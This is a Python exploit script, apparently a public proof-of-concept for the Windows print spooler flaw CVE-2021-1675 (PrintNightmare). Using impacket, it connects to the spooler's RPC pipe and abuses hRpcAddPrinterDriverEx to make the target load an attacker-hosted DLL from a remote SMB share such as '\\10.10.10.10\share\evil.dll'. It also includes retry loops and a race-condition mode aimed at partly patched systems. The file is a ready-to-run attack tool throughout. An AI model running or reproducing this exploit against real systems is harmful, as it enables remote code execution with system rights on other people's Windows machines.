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#!/usr/bin/python3 |
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from impacket.dcerpc.v5 import rprn |
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from impacket.dcerpc.v5 import transport |
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from impacket.dcerpc.v5.dtypes import NULL |
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from impacket.structure import Structure |
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import threading |
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import argparse |
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import sys |
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import time |
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import pathlib |
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#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030 |
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Successful = False |
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class DRIVER_INFO_2_BLOB(Structure): |
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structure = ( |
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('cVersion','<L'), |
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('NameOffset', '<L'), |
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('EnvironmentOffset', '<L'), |
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('DriverPathOffset', '<L'), |
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('DataFileOffset', '<L'), |
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('ConfigFileOffset', '<L'), |
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) |
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def __init__(self, data = None): |
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Structure.__init__(self, data = data) |
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def fromString(self,data): |
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Structure.fromString(self, data) |
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self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le') |
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self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le') |
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self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le') |
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self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le') |
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self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le') |
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def connect(username, password, domain, lmhash, nthash, address, port): |
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binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) |
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rpctransport = transport.DCERPCTransportFactory(binding) |
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rpctransport.set_dport(port) |
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rpctransport.setRemoteHost(address) |
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if hasattr(rpctransport, 'set_credentials'): |
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# This method exists only for selected protocol sequences. |
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rpctransport.set_credentials(username, password, domain, lmhash, nthash) |
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print("[*] Connecting to {0}".format(binding)) |
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try: |
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dce = rpctransport.get_dce_rpc() |
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dce.connect() |
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dce.bind(rprn.MSRPC_UUID_RPRN) |
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except: |
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print("[-] Connection Failed") |
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sys.exit(1) |
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print("[+] Bind OK") |
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return dce |
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def getDrivers(dce, handle=NULL): |
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#get drivers |
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resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2) |
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data = b''.join(resp['pDrivers']) |
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#parse drivers |
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blob = DRIVER_INFO_2_BLOB() |
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blob.fromString(data) |
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#blob.dump() |
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return blob |
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def sendPayload(dce, handle, container_info, flags): |
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global Successful |
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while not Successful: |
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time.sleep(.1) |
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try: |
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resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) |
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print("[*] Stage0: {0}".format(resp['ErrorCode'])) |
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except Exception as e: |
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print(str(e)) |
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print(str(e).find("named pipe is in the closing state.")) |
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if str(e).find("named pipe is in the closing state.") != -1: |
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Successful = True |
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pass |
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def race(username, password, domain, lmhash, nthash, address, port, share): |
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#connect |
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dce = connect(username, password, domain, lmhash, nthash, address, port) |
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#handle = "\\\\{0}\x00".format(address) |
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handle = NULL |
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#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path |
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try: |
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blob = getDrivers(dce, handle) |
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pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' |
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except Exception as e: |
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print('[-] Failed to enumerate remote pDriverPath') |
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print(str(e)) |
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sys.exit(1) |
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print("[+] pDriverPath Found {0}".format(pDriverPath)) |
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flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000 |
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filename = share.split("\\")[-1] |
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datafile_info = rprn.DRIVER_CONTAINER() |
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datafile_info['Level'] = 2 |
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datafile_info['DriverInfo']['tag'] = 2 |
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datafile_info['DriverInfo']['Level2']['cVersion'] = 3 |
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datafile_info['DriverInfo']['Level2']['pName'] = "1234\x00" |
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datafile_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00" |
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datafile_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' |
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datafile_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) |
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datafile_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00" |
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configfile_info = rprn.DRIVER_CONTAINER() |
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configfile_info['Level'] = 2 |
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configfile_info['DriverInfo']['tag'] = 2 |
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configfile_info['DriverInfo']['Level2']['cVersion'] = 3 |
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configfile_info['DriverInfo']['Level2']['pName'] = "1234\x00" |
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configfile_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00" |
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configfile_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' |
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configfile_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) |
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configfile_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\{0}\x00".format(filename) |
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dce = connect(username, password, domain, lmhash, nthash, address, port) |
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datafile_thread = threading.Thread(target = sendPayload, args=[dce, handle, datafile_info, flags]) |
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dce = connect(username, password, domain, lmhash, nthash, address, port) |
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configfile_thread = threading.Thread(target = sendPayload, args=[dce, handle, configfile_info, flags]) |
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print("Starting Threads") |
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datafile_thread.start() |
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configfile_thread.start() |
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while not Successful: |
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print("Still Attempting") |
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time.sleep(1) |
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print("Successful") |
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def main(username, password, domain, lmhash, nthash, address, port, share): |
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#connect |
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dce = connect(username, password, domain, lmhash, nthash, address, port) |
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#handle = "\\\\{0}\x00".format(address) |
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handle = NULL |
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#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path |
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try: |
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blob = getDrivers(dce, handle) |
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pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' |
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except Exception as e: |
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print('[-] Failed to enumerate remote pDriverPath') |
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print(str(e)) |
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sys.exit(1) |
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print("[+] pDriverPath Found {0}".format(pDriverPath)) |
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#build DRIVER_CONTAINER package |
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container_info = rprn.DRIVER_CONTAINER() |
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container_info['Level'] = 2 |
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container_info['DriverInfo']['tag'] = 2 |
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container_info['DriverInfo']['Level2']['cVersion'] = 3 |
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container_info['DriverInfo']['Level2']['pName'] = "1234\x00" |
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container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00" |
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container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' |
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container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) |
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00" |
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flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000 |
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filename = share.split("\\")[-1] |
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print("[*] Executing {0}".format(share)) |
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resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) |
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print("[*] Stage0: {0}".format(resp['ErrorCode'])) |
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for i in range(1, 30): |
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try: |
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename) |
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resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) |
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print("[*] Stage{0}: {1}".format(i, resp['ErrorCode'])) |
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if (resp['ErrorCode'] == 0): |
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print("[+] Exploit Completed") |
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sys.exit() |
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except Exception as e: |
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#print(e) |
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pass |
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if __name__ == '__main__': |
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parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" |
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Example; |
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./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' |
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""") |
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parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') |
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parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'') |
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parser.add_argument('-race', action='store_true', default=False, help='Try to abuse race condition on systems with June Patch') |
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group = parser.add_argument_group('authentication') |
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group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') |
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group = parser.add_argument_group('connection') |
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group.add_argument('-target-ip', action='store', metavar="ip address", |
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help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' |
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'This is useful when target is the NetBIOS name and you cannot resolve it') |
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group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", |
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help='Destination port to connect to SMB Server') |
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if len(sys.argv)==1: |
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parser.print_help() |
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sys.exit(1) |
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options = parser.parse_args() |
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import re |
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domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( |
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options.target).groups('') |
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#In case the password contains '@' |
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if '@' in address: |
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password = password + '@' + address.rpartition('@')[0] |
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address = address.rpartition('@')[2] |
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if options.target_ip is None: |
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options.target_ip = address |
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if domain is None: |
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domain = '' |
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if password == '' and username != '' and options.hashes is None: |
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from getpass import getpass |
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password = getpass("Password:") |
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if options.hashes is not None: |
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lmhash, nthash = options.hashes.split(':') |
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else: |
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lmhash = '' |
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nthash = '' |
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if options.race: |
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race(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share) |
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else: |
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#re-run if stage0/stageX fails |
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print("[*] Try 1...") |
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main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share) |
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time.sleep(10) |
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print("[*] Try 2...") |
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main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share) |
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time.sleep(10) |
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print("[*] Try 3...") |
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main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share) |
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